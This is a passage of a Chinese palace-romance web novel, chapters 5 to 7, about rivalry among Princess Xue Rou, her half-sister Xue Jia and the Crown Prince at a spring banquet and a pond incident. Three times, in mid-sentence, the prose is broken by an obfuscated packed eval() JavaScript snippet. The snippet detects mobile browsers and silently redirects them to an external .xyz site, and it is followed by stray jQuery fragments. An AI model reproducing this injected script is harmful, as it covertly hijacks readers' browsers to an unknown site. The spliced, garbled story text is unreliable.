见主子半死不活，小厮吓得魂不附体，两腿一软扑通跪倒，抓住祁化的胳膊摇撼哭喊：“少爷您清醒清醒，别吓我啊……” 祁化胃里直犯恶心，耳际又聒噪不绝，掀手照小厮的脑门拍了一下：“哭丧呢？滚滚滚！” 小厮破涕为笑，小心翼翼扶祁化站起来。 众目睽睽颜面扫地，祁化自不能轻易饶过，浮肿而涣散的小眼睛巡睃着：“是哪个王八羔子伸手害的我？站出来！” 所有人不约而同向薛怀义的方向注目。 当时，祁化扯脖子叫唤得起劲，一丁点没注意薛怀义不远不近立在后面，惯常示人的慈眉善目蒙上了一层阴暗的纱。 “送他进水里醒醒神吧。”薛怀义沉沉道。 程胜当时不解，祁化轻薄薛柔，两个皆非善茬，等同于狗咬狗，何必插手？ “十妹妹再不好，父皇母后教得，姑且轮不到一个外人指手画脚。”说这话时，薛怀义在看湖对岸。 薛柔是帝后的掌上明珠，半点委屈受不得，倘若祁化欺辱她而他袖手旁观，从而吹到帝后耳朵里，他们对他的成见必然更深。他虽为太子，却不过是个傀儡而已，并无实权，务必步步谨慎。 故此，祁化，非吃点苦头不可。 程胜费解，但依旧领命，便有了祁化湿成落汤鸡那一幕。 一看各人尽往太子处投去目光，祁化不好发作，皮笑肉不笑道：“太子殿下何故指使手下坑害我？” 薛怀义回笑，笑容很浅，几乎看不出：“适才你恣意戏耍的，是孤的妹妹。” 太子的妹妹？十公主……！祁化大惊失色，猛回头瞪大眼睛仔细瞅对面，令人瞩目的那点子绯红已然消失不见了。 薛柔恰恰是寻仇来了——祁化当众冒犯她的，以及薛怀义狗拿耗子多管闲事的。 “好大的阵仗，”薛柔一路快行，出现在众男宾眼前，“前呼后拥着轻薄别人。” 薛柔本人出场，十足叫祁化悔恨交加，脸面如死人般苍白难。 薛柔乜一眼一侧的薛怀义，冷冷丢了句：“收起你的虚情假意，我不需要。” 纵他薛怀义冷眼旁观，她也不会放任祁化逍遥自在。 程胜替薛怀义憋屈，鼻孔里出的气都粗了些。似十公主这等刁钻刻薄的主儿，根本不值得为她出头，太子殿下即便好心肠，也该看准人用对地方，何苦来！ 薛怀义默然不语，静悄悄瞧她命三喜抽了祁化一耳光。 在场之人无不倒吸凉气，好一个刁蛮公主，说动手就动手，够狠！ 除开挨过亲爹的打以外，祁化从未挨过第二个人的打，今日是开天辟地第一次，还是一个奴婢！况且他爹也没扇过他的嘴巴子！祁化舌顶腮帮子，恼羞成怒，扬胳膊作势打回去。 “你且打，打了就不止一耳刮子能解决的了。”薛柔不冷不热道。 小厮深知薛柔的厉害，弄不好闹到鸿胪寺少卿那，那祁化势必挨一顿板子，遂死命拉住祁化，低声劝阻：“少爷，小心十公主直接告到老爷跟前，那可就完了！” 薛柔是做得出来的。祁化忍辱放下手，因不敢挑衅薛柔，则狠狠瞪了眼三喜，拂袖走人。 主要人物离开，剩余人等自觉没趣，咂咂嘴四散开来。薛怀义没有动作。 “你怎么不走？”晦气接二连三找上门来，薛柔存着一腔不快，兼面对厌恶至极之人，语气夹枪带棒委实合理，“留着给我撒火出气么？” 每当她不高兴时，薛怀义首当其冲，遭受冷眼、忍受辱骂乃家常便饭，若气极了，纵烈犬扑他咬他也不足为奇。 坦白说，薛怀义蛮冤的。 薛怀义面色如常：“只要妹妹能消气，我如何都可以。” 他是反抗过的。但越反抗，她越嚣张，从一月寻一次麻烦，到十天半月，最后演变成三五天。后来，他学乖了，不论尊严如何被践踏，总是嘴角微扬，缄默以对。 薛柔施舍给他一个正眼。哪怕她个头矮，必须仰望于他，那双秋水眸里蓄着的，仍旧是终年不散的傲慢。她吃吃讥笑道：“她们知道你有如此下贱的一面么？” 她们——隔三差五对他阿谀奉承的舒婕妤薛嘉母女。这对母女贪图太子的身份，企图为以后的好日子铺一条通天大路，假如她们见识见识堂堂太子对她低声下气、没脸没皮的下贱样儿，还会处处捧着他么？ 薛柔有一个确切的答案，薛怀义亦然。 薛柔眼波转向绿莹莹的湖面，人丛里没有薛嘉。哼，八成是逮着薛怀义在此，巴巴儿往过赶呢。 果然，鹅卵石小径上，薛嘉率其婢女迎面走来。“太子哥哥！……十妹妹。”口吻如表情，对薛怀义由衷欢喜，对薛柔强颜欢笑。 薛嘉像块烦人的饴糖，直往薛怀义身边黏，薛怀义最知分寸，站远了些。薛嘉有所察觉，唇畔笑意僵了一瞬，后佯装无事，笑盈盈说起方才的乱子：“也就是十妹妹，才好治一治那祁三，要不然他也太猖狂了。” 祁化在家排行老三。 薛柔眨眨眼问：“我不管不顾打了祁三，父皇母后得知以后肯定会怪我，没准还要责罚我。如此，八姐姐也能高兴得起来吗？” 薛嘉一怔，待回味过来，不觉咬牙切齿。谁怂恿她薛柔打祁三了，不是她自己干的么？若事后被罚，那也是活该，竟然有脸给她设套？呸！ “妹妹占理，父皇娘娘怎么会怪罪妹妹呢？”薛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521188|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘉松开牙关，温婉笑道，“如果妹妹真挨了训，那我愿意陪妹妹一起。毕竟妹妹闯祸，我这个当姐姐的没能及时阻止，也有错。” 便是这等宁肯委屈自己的识大体品格，在父皇面前上演了一遍又一遍，骗得父皇怜香惜玉，日渐爱惜她们母女了。薛柔听笑了，差点拍手捧场：“八姐姐真不愧为淑女，真令我自惭形秽呢。” 薛嘉别一别鬓角的碎发，装傻充愣道：“妹妹休折煞我了，怪难为情的。” 再待着，薛柔怕按捺不住暴脾气而同薛嘉撕扯起来，就叫上三喜扬长而去了。 * 是夜，寒意料峭。 东宫书房内，薛怀义伏案，挑灯抄经。 乍然疾风四起，刮开虚掩着的窗子，冷风呼啸而入，吹乱经书，书页哗啦啦作响。 程胜闻声，轻步进来关窗，忽见一张纸随风飘落。程胜俯身，拾起那纸，但见素纸上勾勒出一副人像——绝代佳人，冷若冰霜。程胜心惊，这……这画的明明白白是十公主啊！ 薛怀义起身推上窗子，语调平平：“放下出去吧。” 程胜呼吸一紧，不觉又瞟手中的画像，惊疑交加。当真是十公主，那对眉眼，冠绝京城，绝对不会认错！而且用笔也是太子殿下惯用的手法…… 唯恐露出破绽惊动薛怀义，程胜故作无知，将画儿背面朝上安置于书案一角，躬身告退。 门户闭严，四下无风。偌大的屋子内，落针可闻。 薛怀义沉沉瞧着那微微泛黄的画纸，好似有什么冲出记忆深处，汹涌翻腾了起来。 “小十，从今以后，怀义就是你的哥哥了。来，叫哥哥。”八年前的景帝牵着八年前的薛怀义，对小小的薛柔说。 “我只有三哥哥、九哥哥，没有叫薛怀义的哥哥！”刚满六岁的薛柔，踮着脚双手抱下窗台上的花瓶，正冲着薛怀义砸了过去，“想当我的哥哥，你不配，永远都不配！” 薛怀义被砸个正着，两只手鲜血淋漓。景帝一言不发，挥手示意嬷嬷带薛怀义去包扎。 薛柔心如磐石，诸如野种、贱种、狗奴才的词汇都在薛怀义头上用过，唯独“哥哥”，从未有过。 啪嗒啪嗒——豆大的雨点打在窗棂上。下雨了，今年的第一场春雨。 薛怀义取了画像，摊开，再度执笔，在那螓首蛾眉上一笔一画地描摹。 这张脸，在他的世界里横行霸道了整整八年，生生将他的傲骨打得四分五裂，拼凑也拼凑不起来。 这眉，这目，这唇，深入骨血，此生难忘，尤其这双杏眼——原来少女的眼睛里，装着的不止天真烂漫。 遇见她后的岁月里，他夜夜难寐，满心满眼全是她的音容笑貌，已成了心魔，无休无止地折磨着他。但他仍要将她的脸画下来，一分不差地画下来，以此警醒自己，在这副美艳皮囊之下裹着的，是一副蛇蝎心肠，歹毒，可恶，可恨。 雨淅淅沥沥下了一整夜，东宫书房的窗纸闪了一整宿的光亮。 5. 春日宴 一年一度的春日宴，也是薛嘉的生辰。 这日天不亮，三喜为薛柔对镜梳妆。梳妆台上摆满了首饰，薛柔低眸扫一眼，竟无一样合意的。“罢了，本就不是什么要紧场合，盛装打扮了也是白搭。”若非碍着父皇母后的面子，她才不会出席。 薛柔一直对薛嘉的生日赶上春日宴这般好的日子而不满，每年逢这日，脸上一丝笑意也不见，下人们个个战战兢兢，生怕一句话不妥，触怒她。即便她身边的红人三喜，亦悬起心来伺候着。 三喜旁敲侧击道：“殿下，听说今儿小崔大人也会露面呢。” 讲究起来，崔介性冷孤高，似宴席这等人来人往的场合，他能推就推，奈何此次乃景帝亲口邀约，推诿不得。 而景帝存着哪门子心思，舒婕妤是第一个明白人：无非借此来增加崔介和她薛柔相处的机会，好成就一桩良缘。 舒婕妤却是连连冷笑，她的嘉儿温婉可人，琴棋书画样样拿手，胜过薛柔千倍万倍，这样出彩的姻缘，正匹配嘉儿。哼！既然人人皆偏心薛柔，那不妨来个顺水推舟，相信崔家二郎定会对嘉儿另眼相看。 算起来从上次崔家做寿至今，薛柔足足有小半个月未见过崔介了，心里痒痒的，耳闻今日有机会一解相思，恹恹的眸子立时闪亮起来，自妆台上挑了支白玉簪：“多余的不必，这支就够了。” 薛柔素来喜爱繁复装扮，日日都要花一两个时辰在仪容上，单插一根素色玉簪点缀，不是她的风格。三喜先拿了簪子在手，后狐疑道：“这是不是有些素了？” “就是冲素来的。”薛柔胸有成竹一笑。前段日子在崔家，她发觉崔介看她的目光隐隐约约掺着点无奈，他似乎不大欢喜她浓妆艳抹的样子。这好办，往后当着他素净些便是了，谁让他天然生着一副令她心动的面容呢，“小崔大人不喜欢艳的。” 三喜暗暗昨舌，一向唯有别人迁就殿下的份，看来殿下对小崔大人真上心了。 巳时过半，红男绿女齐聚御花园，阵阵说笑声盖过了鸟鸣，好不红火。 薛柔姗姗来迟，薛嘉正同几个千金小姐热络寒暄，见着她，便满面灿烂地迎过来。薛柔视而不见，朝廊芜下逗雀儿的九皇子薛通招一招手：“九哥哥！”随后提着裙边小跑开。 众人面前受了冷落，薛嘉面子挂不住，死死捏着手帕扯来扯去，总算冷静下来，像个没事人般继续和人谈笑。 “几天不见，九哥哥又清减了。”将薛通从头打量到脚，薛柔扁着嘴唇嗔怪道，“忙归忙，得好好吃饭呀！” 薛通只长薛柔一岁，身量却高出去一头，加上常年在军中，身板精壮，站在薛柔面前，尽可把她整个人罩得严严实实。 薛通的母妃淑妃容貌昳丽，风流多姿，有这么个美人母妃，相貌上，薛通自然无可挑剔，咧嘴笑起来，宛若正中午的太阳，璀璨夺目。 他伸手捏住薛柔的腮帮子，轻轻向两边一扯：“还好意思说我？瞅瞅，脸上都没肉了。” 薛柔举胳膊拍开他，故作气恼：“我长大了，以后别动不动就拉拽我。” 薛通背着手，嗤笑道：“长大了？嗯……你是长大了，学会打旁人的主意了。” 从小到大，薛柔有什么事都瞒不了薛通，好在他惯她，好事让她独享，坏事便是任劳任怨替她收拾烂摊子。薛柔猜着他暗含之意，侧着身子，犟嘴道：“我打谁的主意了？你少冤枉好人。” 薛通不紧不慢道：“是谁成日偷偷摸摸着人打听崔家二郎，结果被本人撞了个正着？连我都忍不住替她无地自容啊。” 薛柔涨红了脸：“你远在军营，打哪知道的？” “不消得费心多问，这事整个京城传遍了。”手下乐呵呵跟薛通说道时，他还不信，自己的妹妹心高气傲，世间没几个人能得她青睐；结果昨日回宫途中，耳朵里全是关于十公主挖空心思讨好崔家二郎的传言，简直听得他耳朵快起茧子了，这才信了。后来略略问了问这崔家二郎乃何许人也，人人赞口不绝，方感心安。 薛柔难得害羞，扭扭捏捏狡辩：“我打听他，单纯是赏识他的才华，没有别的想法，九哥哥你少给我扣帽子。” 右肩忽然叫人点了一点，是薛通干的，他并未接她的茬儿，而是向不远处并肩同行的二人挥手示意：“明觉，这儿。” 林显，字明觉，乃户部侍郎家的次子，如今在松山书院念书，为明年的秋闱做准备。 闻声，林显招呼着同行之人走来，拱一拱手：“九殿下，十殿下。” 前几年，林显做过薛通一段时日的陪读，两人聊得来，后头薛通到军营发展，林显继续读书走科举路，交情却一直没淡。 薛通笑说：“你这人哪哪都好，独独礼节太多，一举一动文绉绉的，叫人浑身不舒坦。” 林显温和笑笑，一思忖竟把一人晾在了一边，忙出言介绍：“这位是崔——” “我略有耳闻——新科状元郎崔大人。”薛通打断他下文，一面脸朝薛柔，“小妹时时挂在嘴边呢。” 薛通与帝后的念头不谋而合：崔介要品行有品行，要才华有才华，小妹最重视的样貌也数一数二；此等人物，招为驸马，不亏。 不期薛通打趣自己，薛柔格外不自在，以眼神警告他的心力也匀不出来，只管抿嘴一声不吭。 林显生性木讷，觉察不到几人间微妙的氛围，颔首笑道：“不料想九殿下的人脉如此之广。” 斜眼一看薛柔的呆模样，薛通便号着脉象，准是害臊了。薛通哑然失笑，心想这小十老是关键时候不争气，这可不行，还得他牵个头，助她一臂之力。遂而随便寻个由头约着林显且聊且走了，光剩下两个半生不熟的人沉默对望。 教养使然，崔介淡淡打破寂静：“殿下也喜欢诗经吗？”他淡漠的眼光于薛柔手握的团扇上定格。 起先薛柔糊里糊涂，压根没搞清楚状况，默默重复两遍他的问题后，恍然大悟——听说他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521189|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱看书，特别是诗经，临出门前她特意拿上去年夏天三哥哥赠的那把团扇，上头绣着两行小字，依稀记得出自诗经，用来充一充面子，从而赢得他的好感。 “啊……是啊，我闲暇之余就爱翻一翻诗经。”她心里虚得慌，什么四书五经，她才懒得翻看，纵有闲工夫，一并使在了贝贝身上。对于学问，她其实一知半解。 她的心虚，崔介洞若观火，倒无甚感触。她或是撒谎或是实情，与他八竿子打不着。“此处风大，殿下不若往里面站站，好歹挡一挡风。” 春日的风，凉意未退，吹在人脸上依然忽视不得。 薛柔点点头，不禁遐想连篇：他要她躲风，是关心她吗？……一定是关心她的，要不然好端端的干嘛去提那一嘴。越想，越开心，开心之余又有些得意，合着他也并非全然不近人情嘛。 “小崔大人很少来御花园吧？”面对面却无话可说总不是回事，薛柔便就地取材，发散思维，趁机套近乎。 崔介道：“今天是第二次。” 第一次是五年前，他随母亲进宫拜谢皇后娘娘赏赐之恩。母亲上坤宁宫谢恩，叫他随处逛逛，这一逛就到了御花园。 蜿蜒的甬道上，阳光穿过细密的枝叶透下来。拐角处，有两个半大孩童，女娃娃牵着一条半大的黑狗对身前的男娃娃恶言相向，甚至命令那狗前去撕咬男娃娃。 恐打草惊蛇，他悄无声息地离开了。 彼时他不得而知那二人的身份，现在，他有了结论——他转眼望向湖心亭负手而立的长影，心下微动。 “你在看什么？”长久未得到他的回应，薛柔忍不住问，双目则循着他的凝望而偏转。看清到底是什么人以后，不由添了分嘲弄之意：“崔大人日日上朝，总不见得不熟悉太子殿下吧？” 走哪都甩不掉，当真阴魂不散。 薛怀义同时间望了过来，带着微不可察的审视。崔介，当朝红人，新一任的能臣，前途无可限量。她现在的心头好，没准也是来日的驸马。清贵君子，她无法抗拒的类型。 相隔重重人影，崔介、薛怀义四目相对。许是错觉，崔介感觉对面的注视阴阴郁郁，不太友善。 “园子里有许多值得游览的景致，”一个人卑贱起来，处处都是卑贱的：一个眼神、一个动作、一句话……薛柔不愿让崔介走入薛怀义低贱的视野，横跨一步，以身躯阻隔二者的对视，“崔大人要一起吗？” 鬼使神差地，崔介开口应下了：“好。” 薛柔走左边，崔介走右边；薛柔加快脚步，崔介放慢脚步；衣袖联着衣袖，肩膀擦着肩膀……渐行渐远。 薛怀义目送他们远去，直至眺望不见。 “太子哥哥，东边的花儿开得正盛，咱们一同去赏花吧。”薛嘉翩翩步入薛怀义的眼帘。 他们去的方向，恰好也是东边。 同样鬼使神差般，薛怀义没有如往昔拒绝薛嘉，沉而缓地说：“……好。” 6. 污蔑 这个时节，万物复苏，春意盎然。 东湖旁有个荷塘，里头养着一大群红鲤鱼，会时不时跃出水面来，再搭上那一池子荷叶，郁郁葱葱的，既赏心悦目，又趣味无穷。 薛柔约着崔介登临石桥，特意问宫人讨了些鱼食，凭栏赏玩。 “崔大人要喂一喂吗？”薛柔摊开手掌心，有意分一半鱼食给他。 崔介淡然道：“多谢殿下好意，微臣看殿下喂就好。” 薛柔怪里怪气道：“崔大人是不是嫌弃我，不肯从我手中接鱼食，所以干脆回绝了我啊？” 崔介泰然自若的面孔有一刹那的凝滞，在薛柔觉察之前，恢复如常，口吻不冷不热：“微臣不敢。” 还以为他会有解释，结果只一句“不敢”便带过了。薛柔性子里的那股子执拗发挥作用，使她将手心直直送到了他面前，不容置喙道：“既然不敢，那崔大人还犹豫什么？” 她的目光同她的举动如出一辙，直接，强硬。崔介稍觉冒犯，退后一些，双手伸出去，搁在那素手下方，视线随之放低，落到灰白的桥面上，音量不大不小，亦辨别不出所含的情绪：“微臣遵命。” 强人所难这种事，薛柔时常为之，横竖达成目的就行，过程怎样，无所谓。可今时今日，这招使在崔介身上，竟觉如芒在背，如鲠在喉，从头到脚、从里由外地别扭。 “算了，崔大人爱旁观便旁观吧。”为了让自己舒坦一点，她做出退让，收回胳膊，转向栏杆，张开手心，将鱼食抛撒入池塘。鱼群攒头摆尾争相抢食，靠近脚下的池子里映出一片鲜红，果然好看。 崔介闷声不响，俯瞰鲤鱼争食。 三喜眼观六路耳听八方，一眼捕捉到正朝桥上来的一双人影，心下一凛，忙凑去薛柔身边耳语：“殿下，太子殿下和八公主也过来了。” 薛柔一摔手，小半把鱼食倾泻而下，鲤鱼群更疯了，身子贴身子头挤头争夺。“我倒要看看，一个两个安着什么心。”她挺胸抬头，直面那对不速之客。 薛怀义骤然住脚，引得薛嘉拧眉询问：“太子哥哥，怎么了吗？” 崔介便站在薛柔身后，郎才女貌，堪称天造地设的一对。偏偏如是一对璧人，落在薛怀义眼底，既陌生又刺眼，莫名其妙。 “来得匆忙，忘记准备鱼饵了。”他温温笑道。 她对他的敌意深不可测，嫌他的出现破坏了她与崔介的祥和时光，他悉数明了。 她的厌恶溢于言表，可那又如何？恰恰因为她会厌恶，他才要出现，碍她的眼，坏她的好事——谁都别指望好过。 薛嘉松弛道：“十妹妹才喂过，向她讨一些来就好了。” 及上了桥，薛柔的冷嘲热讽劈头盖脸砸来：“这么巧，八姐姐和太子殿下莫不是存心跟着我们来的吧？” 薛嘉暗暗讥笑，人崔大人同意和她薛柔绑在一块吗，她就称“我们”？ “妹妹说笑了。”薛嘉以不变应万变，柔柔笑道，“这池子里的红鲤鱼是远近闻名的，既来趟御花园，不趁着阳春三月来观赏一番，岂不可惜。” 冠冕堂皇的说辞，叫人挑不出错处，倒衬得薛柔胡搅蛮缠。 “八姐姐伶牙俐齿，我辩不过你。”薛柔敛起问罪的架势，回头看崔介，“这儿没意思，不如换一个清净的地方，也不至于扰得崔大人眼烦心乱。” 崔介喜静，另寻别处不失为一个稳妥的提议，但非同薛柔一路，比起八公主太子，她更难缠。 “不必了，微臣还有事寻林公子，不好再耽搁了。”崔介作揖，“微臣告退。” 言下，徐徐而去。 人家有事待办，薛柔不好纠缠，以目静静相送。 薛嘉不知不觉靠到了她身侧，抿嘴笑问：“十妹妹可以分我些鱼食吗？我跟太子哥哥也想试着喂一喂。” 言讫，睇向手捧装鱼饵盒子的三喜。 崔介走了，薛柔心里不爽，压着火气，冲三喜勾勾手：“把盒子给我。” 三喜双手奉上。 薛嘉转眸去看后边默然无声的薛怀义：“太子哥哥，快过来呀。” 话刚放下，却见薛柔掀开盒子，不假思索地将小半盒鱼饵悉数倒入池子里，薛嘉惊呼：“十妹妹……” 把空盒子丢给三喜，薛柔扫视着面前的两张面孔，腮边漾起浅薄的笑弧：“我的东西，没有与人分享的习惯。” 既是给薛嘉难堪，更是针对薛怀义。 薛嘉面上红一阵白一阵，瞥着水面漂着的那层浮沫，半晌没吱声。 “八姐姐爱赏荷看鱼，那便自自在在看吧，我是乏了。”薛嘉吃瘪，薛柔心甚慰，嫣红的唇瓣高高扬起，露出两排玉齿，乃至将走之时，故意撞了下薛嘉的肩膀。 谁知这一撞竟出了意外——薛嘉浑身摇摇晃晃，石桥两边的栏杆又矮，一个不慎跌下栏杆，坠了水。 薛嘉的贴身婢女莺儿飞冲至栏杆前，弯着身子叽叽喳喳叫唤个不住：“殿下，殿下！快来人救救殿下，殿下她不会水啊！” 那池子里的水清晰见底，根本不深，淹不死人。薛嘉万分不屑，乜着胡乱扑腾的薛嘉：“八姐姐就别演了吧，那水至多没过你的腰，自个儿站起来完了。” 忽然有个人跨过石栏，一头扎入水下。是薛怀义的好奴才程胜。 薛柔从旁奚落道：“这便着急了，不愧是八姐姐放在嘴上的太子哥哥。” 薛怀义未应声。 程胜如鱼得水，不多时背着薛嘉上岸。 薛怀义解下外袍，递与莺儿。莺儿牢牢抱住，扑到薛嘉身边问东问西。薛嘉脸朝地咳出一口凉水，湿漉漉的脊背上下起伏着。 薛柔慢慢下桥，冷眼看她如何。 深色衣袍紧紧裹住薛嘉浸水的躯体。 “十妹妹金尊玉贵，瞧不上我我没有怨言，但……”薛嘉抬起红彤彤的眸子，钩子似的盯住薛柔，“但我万万没料到妹妹会做到这份上，明知我不会游水，眼睛都不眨地推我下水……” 旋即抱着肩膀低头啜泣不止。 薛柔的表现截然相反，笑得动人：“八姐姐糊涂了吧？我只用胳膊碰了你一下，是你自己装弱不禁风跌下去的，你怎么反过来怨我？” 闻言，薛嘉哭得越发厉害，简直泣不成声。 莺儿心疼主子，跳出来愤然维护薛嘉：“十殿下未免太过分了……奴婢瞧得清清楚楚，我们殿下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521190|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实是被您出手推搡了一把，才落的水。再说了，我们殿下自知不会水，又怎会冒着性命危险而主动往水里跳呢？” 薛嘉掩脸，闷闷道：“我原以为妹妹单是年纪小调皮顽劣，本性并不坏，不料今日……做了也算了，横竖我现在没大碍。可是，可是妹妹，你真不该肆意污蔑人，会伤父皇娘娘的心的……” 莺儿随主抽抽噎噎的：“殿下沦落的这样，婕妤也会痛心的……” 主仆俩一唱一和，势必让薛柔背上个蓄意谋害亲姐的罪名，三喜随了薛柔直快的脾性，再看不下去，跑去扯开莺儿，照脸打了一巴掌：“你这小娼妇，胆敢给殿下泼脏水！你哪只眼睛看见我们殿下伸手推人了？再敢胡说攀污好人，看我不撕烂你的嘴！” 莺儿不服，放开手脚和三喜厮打作一团。 薛嘉仍跪坐在地呜呜垂泪，薛柔不耐烦：“你也用不着哭成泪人扮可怜，是黑是白，咱们去当着父皇一是一二是二地分辨明晓。” 而后近前俯身，意欲拽她起来，不意手腕被一只手当空按住——手背上凸着根根青筋，指节长而瘦，微微发凉。 “少管闲事。”看清是谁后，薛柔的语气冷到了极点。 “我看到了。”薛怀义没有松开她，且一改旧日之谦卑，明目张胆地盯着她，“十妹妹不曾出手推八妹妹，落水是意外。” 哭音戛然而止。薛嘉猛举目，哽着嗓子呢喃：“太子哥哥……？” 薛柔则懵了，乃至于忘记甩开圈住手腕的温度。 “莺儿，扶八妹妹回去更衣。”薛怀义沉稳吩咐，“人多眼杂，八妹妹的名声要紧。” 扭打的二人不约而同停手，各自有各自的狼狈：莺儿披头散发，三喜衣领歪斜。 三喜兜正衣裳，粗气粗气道：“快送你家的好殿下回吧，这遭就算我放你一马！” 莺儿气得脸歪嘴斜，草草拢了拢散乱的头发，好赖像个体统。继而去搀扶薛嘉，却被薛嘉撇开。 薛嘉软绵绵起来，泪痕满面，眼珠子通红，真叫是楚楚可怜。 “太子哥哥也认为是我红口白牙污蔑别人吗？”到她嘴里，薛怀义摆在第一位，薛柔沦为了旁人。 而薛怀义仍实实在在扣着薛柔。 薛嘉的诘问刚好提醒了薛柔，她一使力，甩脱束缚，不留情面挤兑薛怀义：“早让你少插手，你非装模作样帮我。快快哄哄你乖巧的八妹妹吧，省得日后懊悔不及。” 瞬息之前，指腹之下印有一片细腻，一片温暖。薛怀义一点一点弯曲了手指，指纹贴着掌纹。 “莺儿，送八妹妹更衣。”他避而不答。 有些时候，没有答案便是答案，薛嘉有了数。 “太子哥哥，不管你信不信，总之我没有冤枉他人。”莺儿搀薛嘉走过薛怀义眼前之际，薛嘉说。 薛怀义不由自主开去寻觅薛柔的影子，但见她不知多会领三喜走开了。 攥紧的手指好似失了力气，缓缓分开来。 “嗯。”薛柔固然可恨，但眼见为实，这次她是无辜的，“八妹妹自珍重。” 始终等不到称心如意的回应，薛嘉一时气馁，由着莺儿带自己渐渐远离。 7. 告状 白白泡了一顿凉水，薛嘉心怀愤懑，直奔舒婕妤处添油加醋地痛诉冤情。 舒婕妤畏寒，屋子里还烧着炭盆，暖烘烘的。她一面命宫女速去烧热水，一面牵着薛嘉靠火盆前的绣墩子上坐定，亲手拿手巾给薛嘉擦脸，磨牙凿齿道：“这个薛柔欺人太甚！” 然后口气一变，软和下来：“好了好了，别哭了。今儿这口恶气咱们不忍，等晚上你父皇得了闲，好歹讨个公道回来。” 安顿好薛嘉，天色垂垂暗下来，舒婕妤说到做到，步行至上书房，却被告知陛下并不在此，一炷香前就起驾到坤宁宫同皇后共进晚膳了。舒婕妤兀自怄了会气，改道向坤宁宫。 坤宁宫内，帝后觌面端坐，薛柔耷拉着脑袋站立，咕哝：“明明是八姐姐找事妄图陷害我，我凭什么给她赔不是……” 阖宫上下的动静，尽瞒不了景帝，况且白日御花园里闹得乌烟瘴气，口耳相传，几乎尽人皆知。景帝闻之，十分不悦，忙完手头上的政务便马不停蹄来坤宁宫问个究竟。 “你还有理了？”景帝生平最看重皇家颜面，而今两个公主当众争执，堪比街头泼妇，实在丢人，动肝火乃情理之中，“你们平时小打小闹朕姑且睁一只眼闭一只眼，只当你们也知分寸，懂得以大局为先，总不至于败坏体统。如今可倒好，春日宴，几百个人，上千双眼睛——皇家威严就轻易被你们当作了儿戏。朕如何能不生气！” 皇后使个眼色与许嬷嬷，许默默心领神会，蹑手蹑脚退下，俄而奉上一盏香茶。 “陛下，吃口茶润润喉，过会再训斥也不迟。”景帝鲜少动怒，一旦动怒，那谁来劝也不济事，皇后心存忌惮，不敢明白了求情，只得迂回婉转道。 若任当下的怒气蔓延，景帝定然一手挥落茶盏。然而少年夫妻携手共历酸甜苦辣大半辈子，不能不顾念这份情谊。景帝沉吟片刻，端茶浅尝辄止，那股子火气略略消减：“朕再问你，你可知错了？” 薛柔倔强依旧：“儿臣没有错，错的另有其人。” 生恐景帝雷霆大怒，皇后抢先呵了一嗓子：“还顶嘴！快跟你父皇老老实实认个错。” 薛柔半是不平半是委屈道：“儿臣没有要害她，是她心怀鬼胎算计儿臣，丢了颜面也是因为她……不干儿臣的罪名，儿臣必不能认。” 见景帝面色铁青，皇后忙打圆场：“我们何曾说过是你害的人？说你，不都是为了让你记住，以后收着点性子，莫再肆意妄为了。” 长到十五岁，薛柔没挨过一句重话，今昔是第一次，怎能安然接受，话接着话辩驳：“当时也不是我一个人在场，父皇母后要训话，合该把薛嘉叫过来听着，这才公平。” 说曹操曹操到，罪魁祸首的生母抵达现场，央龚福进来请示：“陛下，娘娘，舒婕妤求见。” 薛柔扭脸看窗外，果然瞧见身着素衣、素面朝天的舒婕妤，不觉冷笑。往常属她招摇，巴不能把金山银山堆头上，走起路来左摇右摆她那水蛇腰，妖娆至极。今儿个改头换面，和薛嘉装到一块了。哼……准没好事！ 景帝发话：“叫她进来。” 人未到声先至，一阵啜泣飘忽而来，紧接着舒婕妤步子虚浮地进门，不由分说双膝触地，有道是恳求帝后为可怜的薛嘉主持公道，讨伐元凶。 贼喊捉贼的行径薛柔深恶痛绝，狠狠剜着舒婕妤：“少胡乱攀扯人，真要惩罚元凶，直接去——” “住嘴！”景帝厉声打断她，之后叫舒婕妤起来说话，舒婕妤哭哭啼啼不肯应，坚称要个说法，景帝束手无策，扶额无话。 舒婕妤诬赖薛柔，皇后身为人母，自然不买账。自己生的女儿自己了解，她是娇蛮不错，或许平时行为举止有失分寸，但故意害人这种事绝对做不出来；退一万步，纵有，也不屑于扯谎掩盖。 “你别一味掉泪，这解决不了问题。”皇后端正身姿，板正面孔，尽展中宫庄严，“你信誓旦旦指认十公主坑了八公主，证据何在？” 舒婕妤有备而来，出口成章：“四下全看见是十公主伸的手，这还不够吗？” 说罢打起感情牌：“娘娘也是生儿育女的人，若白天泡在池子里的人是十公主，您怕是比嫔妾更为痛心……” 